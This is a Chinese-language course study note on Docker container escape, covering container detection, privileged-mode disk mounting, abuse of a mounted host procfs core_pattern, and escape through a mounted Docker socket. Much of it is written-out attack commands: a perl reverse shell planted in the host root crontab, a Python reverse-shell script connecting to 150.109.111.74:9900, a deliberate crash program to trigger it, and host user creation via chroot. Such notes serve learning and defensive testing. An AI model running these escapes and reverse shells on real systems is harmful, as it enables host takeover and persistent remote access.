当前位置: 首页 > news >正文

小迪安全v2023学习笔记(九十五讲)—— 云原生篇Docker安全权限环境检测容器逃逸特权模式危险挂载

文章目录

  • 前记
  • 云上攻防——第九十五天
    • 云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
      • 前置知识
        • Docker是干嘛的?
        • Docker安装及使用
        • Docker对于渗透测试影响?
        • Docker渗透测试点有哪些?
          • 前渗透 - 判断是否在Docker容器中
            • 没有权限
            • 拿到权限
          • 后渗透 - Docker容器逃逸
      • 云原生 - Docker安全-容器逃逸&特权模式
        • 1. 判断当前是否处于Docker容器
        • 2. 判断是否是特权模式
        • 3. 查看宿主机磁盘
        • 4. 将该磁盘挂载到容器文件
      • 云原生 - Docker安全-容器逃逸&挂载Procfs
        • 1. 判断当前是否处于Docker容器
        • 2. 检测是否挂载Procfs
        • 3. 查找容器绝对路径
        • 4. 写入反弹Shell脚本
        • 5. 执行崩溃程序
      • 云原生 - Docker安全-容器逃逸&挂载Socket
        • 1. 判断当前是否处于Docker容器
        • 2. 检测是否挂载Socket
        • 3. 挂载逃逸
      • 云原生 - Docker安全-容器逃逸条件&权限高低
        • 高权限 - Web入口到Docker逃逸(Java)
        • 低权限 - Web入口到Docker逃逸(PHP)

前记

  • 今天是学习小迪安全的第九十五天,本节课是Docker安全的第一讲,主要围绕开发者不当的启动容器操作导致存在容器逃逸的风险
  • 然后本节课主要以理解思路和实战为主,希望你们自己下去复现一遍

云上攻防——第九十五天

云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

前置知识

Docker是干嘛的?
  • Docker是一种应用容器引擎,它允许开发者将应用以及其依赖打包成一个轻量级、可移植的容器
  • Docker有三个核心组件:
    1. 镜像(Image):Docker镜像是用来创建容器的模板,它是一个特殊的文件系统,包含了运行容器所需的程序、库、资源和配置文件。镜像是只读的,并且可以通过Dockerfile来定义和构建。
    2. 容器(Container):容器是镜像的运行实例,它是独立运行的,与其他容器相互隔离。容器可以被创建、启动、停止、删除和暂停。容器的存储层与镜像的只读层相结合,形成了容器的文件系统。
    3. 仓库(Repository):Docker仓库是用来存储和管理镜像的服务,它可以是公开的或私有的。开发者可以将自己创建的镜像推送到仓库中,也可以从仓库中拉取其他人分享的镜像。
  • 那我们这里主要是讨论的是Docker容器,其实就可以把他类比于某个应用的虚拟机,而像我们的VM就是针对于某个系统的虚拟机
Docker安装及使用
  • 安装教程:Docker安装教程详解-CSDN博客
  • 使用教程:Docker常用命令大全(非常详细)零基础入门到精通,收藏这一篇就够了-CSDN博客
Docker对于渗透测试影响?
  • 这个前期讲过,因为Docker容器其实就相当于虚拟机,所以它是一个虚拟出来的空间,攻击者如果拿到容器的权限,也是在一个虚拟的空间里玩耍,对物理机没有任何影响
  • 因此我们这里如何对物理机产生危害,那就需要进行容器逃逸到物理机
Docker渗透测试点有哪些?
前渗透 - 判断是否在Docker容器中
没有权限
  • 在没有进行渗透之前,根据网站的信息我们其实是没什么办法知道这个网站是否采用Docker搭建
  • 主要就是看它的端口信息是否是非正常的端口,或者看扫描出来的端口详细信息中有没有线索
  • 更多的是看经验,比如docker容器的版本都是比较稳定的版本,或者可能没有维护版本过老,这些都是特征
拿到权限
  • 当我们拿到权限之后,再判断它是不是Docker容器就比较简单了,一般有几个方法
  1. 查询cgroup信息
cat /proc/1/cgroup
  • 如果是Docker容器,可能会返回如下信息:
    在这里插入图片描述

  • 如果是K8S,可能会返回如下信息:
    在这里插入图片描述

  • 如果是虚拟机环境,可能会返回如下信息:
    在这里插入图片描述

  • 但是这个方法其实不是很准确,有的时候会返回如下信息,但这个也算是一种识别Docker容器的方法:
    在这里插入图片描述

  1. 检查/.dockerenv文件
  • 可以通过根目录下是否存在 .dockerenv 文件来判断是否处于Docker容器下,这也是比较准确的一种方式:
ls -al /

在这里插入图片描述

  1. 其他判断方式:如何快速判断是否在容器环境_如何确定是不是处于docker容器-CSDN博客
后渗透 - Docker容器逃逸
  • 当我们判断当前处于Docker容器内时,就可以尝试逃逸了,常见的逃逸思路基本如下三种:
    1. 特权模式启动导致:不安全的启动方式,适用于Java、ASP等高权限入口;PHP、Python低权限需要提权;与Docker、系统版本无关
    2. 危险挂载启动导致:危险启动,适用于Java、ASP等高权限入口;PHP、Python低权限需要提权;与Docker、系统版本无关
    3. Docker自身版本漏洞&系统内核漏洞:主要与软件版本和系统版本有关,高低权限都可用
  • 前两个方法其实不算是漏洞,它只是由于开发者在启动时不安全的举动造成,因此它与Docker版本无关;而第三个才是软件本身或者操作系统的缺陷导致容器逃逸成功,与Docker版本和操作系统的版本都有关系。
  • 参考文章:云原生 | T Wiki
  • 然后本节课我们主要讨论的是一、二点的容器逃逸方法,并且不考虑如何去拿取系统的权限

云原生 - Docker安全-容器逃逸&特权模式

  • 参考文章:Privileged 特权模式容器逃逸 | T Wiki
  • 我们以特权模式启动靶场,这里就是随便用一个docker容器进行演示:
# 拉取镜像
docker pull alpine# 以特权模式允许镜像容器
docker run --rm --privileged=true -it alpine

在这里插入图片描述

1. 判断当前是否处于Docker容器
  • 然后我们先判断是否处于Docker容器,就用上述方法进行判断即可:
ls -al /

在这里插入图片描述

  • 或者也可以使用这个命令判断(当然有时是判断不出来的):
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
2. 判断是否是特权模式
  • 我们可以通过如下命令去判断是否处于特权模式:
cat /proc/self/status | grep CapEff

在这里插入图片描述

  • 如果是以特权模式启动的话,CapEff 对应的掩码值应该为 0000003fffffffff 或者是 0000001fffffffff
  • 这里确定它的特权模式之后,我们就可以将宿主机的磁盘挂载到容器中,通过创建定时任务去完成逃逸
3. 查看宿主机磁盘
fdisk -l

在这里插入图片描述

4. 将该磁盘挂载到容器文件
  • 上面出现了Number 1、2、3说明我们当前有三块分区,我们需要确定那块分区被原宿主机挂载过:
cat /proc/mounts | awk '$1~/\/dev\/sda[0-9]/ {print $1}'

在这里插入图片描述

  • 这里sda3已经被挂载过了,所以我们就将它挂载到test目录下:
mkdir /test && mount /dev/sda3 /test && ls /test

在这里插入图片描述

  • 这里就说明成功挂载,并且能够成功访问到宿主机的文件,我们可以验证一下是否确实是宿主机的根目录:
    在这里插入图片描述

  • 之后我们就可以尝试利用启动计划任务的方式让我们进行容器逃逸:

echo $'*/1 * * * * perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
  • 或者我们通过宿主机的目录创建一个新用户登录系统,再做权限提升
mount /dev/sda3 /mnt
chroot /mnt adduser john

云原生 - Docker安全-容器逃逸&挂载Procfs

  • 参考文章:挂载宿主机 procfs 逃逸 | T Wiki
  • 通过挂载的文件进行逃逸,一个是宿主机的Procfs,一个是Docker Sokcet
  • procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
  • 首先启动环境,然后这里也是随便找的比较小的容器,并挂载procfs系统:
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

在这里插入图片描述

1. 判断当前是否处于Docker容器

在这里插入图片描述

2. 检测是否挂载Procfs
  • 使用如下命令检测:
find / -name core_pattern

在这里插入图片描述

  • 如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs,然后我们记住这个/host/proc/sys/kernel/core_pattern文件,之后会用到
3. 查找容器绝对路径
  • 接着我们通过如下命令找到当前容器在宿主机下的绝对路径:
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

在这里插入图片描述

  • 这就表示当前容器的绝对路径如下(注意这里要将/work改为/merged):
/var/lib/docker/overlay2/0c9b9ffebacc3b9f097218447badbc65b1b784a5c18eef0273370bcd1f3ec6fe/merged
  • 记住这个路径,之后要用到
4. 写入反弹Shell脚本
  • 直接写入如下命令创建一个反弹Shell脚本:
cat >/tmp/.x.py << EOF  
#!/usr/bin/python  
import os  
import pty  
import socket  
lhost = "150.109.111.74" # 反弹IP  
lport = 9900 # 反弹端口  
def main():  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.connect((lhost, lport))  os.dup2(s.fileno(), 0)  os.dup2(s.fileno(), 1)  os.dup2(s.fileno(), 2)  os.putenv("HISTFILE", '/dev/null')  pty.spawn("/bin/bash")  os.remove('/tmp/.x.py')  s.close()  
if __name__ == "__main__":  main()  
EOF
  • 然后给他赋予执行权限:
chmod 777 /tmp/.x.py
  • 接着我们将该脚本写到宿主机的core_pattern目录(即目标proc目录)下:
echo -e "|/var/lib/docker/overlay2/0c9b9ffebacc3b9f097218447badbc65b1b784a5c18eef0273370bcd1f3ec6fe/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern
  • 一定要注意这里的很多空格,不要改动它
5. 执行崩溃程序
  • 我们先在攻击机上开启监听:
    在这里插入图片描述

  • 然后在容器中创建如下代码的文件,该文件执行之后会崩溃:

cat >/tmp/x.c << EOF
#include <stdio.h>  
int main(void) {  int *a = NULL;  *a = 1;  return 0;  
}  
EOF
  • 并且编译该文件,当然这里我们一般是直接从本地上传编译之后的文件到目标系统
apt-get update && apt install -y gcc
gcc /tmp/x.c -o /tmp/x

在这里插入图片描述

  • 执行该文件:
cd /tmp/ && ./x
  • 这里能够成功执行报错,但是反弹Shell并没有成功,我也不知道问题出在哪了

云原生 - Docker安全-容器逃逸&挂载Socket

  • 参考文章:挂载 Docker Socket 逃逸 | T Wiki
  • Docker Socket 用来与守护进程通信即查询信息或者下发命令。
  • 首先还是启动一个docker容器,然后挂载/var/run/docker/sock文件:
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
  • 并且在容器内安装Docker命令行客户端:
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install -y curl
curl -fsSL https://get.docker.com/ | sh
1. 判断当前是否处于Docker容器
  • 这个就不再说了
2. 检测是否挂载Socket
  • 执行如下命令,如果存在这个文件,就说明可能存在挂载Socket:
ls -lah /var/run/docker.sock

在这里插入图片描述

  • 这里可以看到是存在这个文件的,那就可能存在该漏洞
3. 挂载逃逸
  • 我们在容器内部再创建一个新的容器,并将宿主机目录挂载到新的容器内部:
docker run -it -v /:/host ubuntu /bin/bash

在这里插入图片描述

  • 此时这里的目录文件已经是宿主机的目录文件了,可以看到两个目录是一模一样的:
    在这里插入图片描述

  • 如果不信的话,我们可以先在主机上创建一个文件,然后再进行逃逸看看文件是否存在

云原生 - Docker安全-容器逃逸条件&权限高低

  • 然后经过上面的案例演示,我们应该已经知道了这两种逃逸的方式,那接下来就模拟真实情况下可能会出现的问题
  • 这里我们都以特权模式启动,来演示逃逸效果
高权限 - Web入口到Docker逃逸(Java)
  • 我们用Java中的Shiro组件来演示真实情况下的Docker逃逸:
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
  • 访问8888端口是一个shiro组件的页面:
    在这里插入图片描述

  • 直接工具一把梭拿权限:
    在这里插入图片描述

  • 可以看到是docker容器,然后我们尝试逃逸:
    在这里插入图片描述

  • 可以看到成功逃逸,然后我们就可以创建定时任务,尝试反弹Shell了

低权限 - Web入口到Docker逃逸(PHP)
  • 同样,先创建一个docker容器,这里我们创建的是一个php应用:
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

在这里插入图片描述

  • 先将难度调到最低,然后上传文件拿到Shell:
    在这里插入图片描述

  • 然后以同样的方式尝试容器逃逸:
    在这里插入图片描述

  • 可以看到,它提示我们没有权限去执行命令,什么情况呢?我们可以查看一下自己的用户:
    在这里插入图片描述

  • 我们发现自己是一个低权限用户,因此没有办法执行很多敏感命令,因此这个逃逸不了

  • 那刚刚的shiro为什么能够逃逸成功呢?因为Java应用进入默认是root高权限,而PHP应用进入默认是www-data低权限用户,所以不同的网站应用,不同的用户权限,也会影响容器逃逸的成功与否!

http://www.dtcms.com/a/441968.html

相关文章:

  • 从零开始的C++学习生活 1:命名空间,缺省函数,函数重载,引用,内联函数
  • react源码
  • 怎么用记事本做钓鱼网站如何做外贸电商
  • 【自学笔记】Redis 快速入门(下篇)
  • 微信网站怎么开发东莞品牌营销型网站建设
  • 在QT中实现线程暂停
  • vivado自定义IP显示只读解决办法
  • 当 AI 走进图像编辑:Bing 照片编辑器的实用价值与体验观察
  • Java Linux --- 基本命令,部署Java web程序到线上访问
  • 天安云谷网站建设企业邮箱忘记密码怎么找回
  • SQL 多表查询场景速查:一对一、一对多、多对多
  • 从 0 到 1 搭建 Python 语言 Web UI自动化测试学习系列 7--基础知识 3--常用函数 1
  • Amazon S3 Vectors:向量存储、索引与多亚马逊云科技服务协同的智能桥梁解决方案
  • 第二章 prompt思维链
  • 大模型面经(一) Prompt + RAG + 微调
  • 第一章——了解prompt以及一些基础技巧方法
  • 做牛津布面料在哪个网站找客户找人一起做素材网站
  • 土豆家族工具使用适配表格大全【windows提权】
  • PyQt5 QPushButton组件详解:按钮控件的完整指南
  • Linux中do_wait函数的实现
  • 第1章 线程安全的对象生命期管理
  • Codeforces Round 1027 A. Square Year (2114)
  • 公司网站备案信息查询嵌入式开发培训
  • mysql--核心日志文件详解
  • 营销型网站要多少钱广告联盟app
  • 浙江建设职业技术学院官方网站中信建设有限责任公司资质等级
  • Vidmy 1.0.129| 无限制下载国外视频,支持高速下载、即时抓取高清视频。使用需要科学
  • (CVPR2025)DEIM模型训练自己的数据集教程(基于Pycharm)
  • 13.排序(上)
  • 《KelpBar海带Linux智慧屏项目》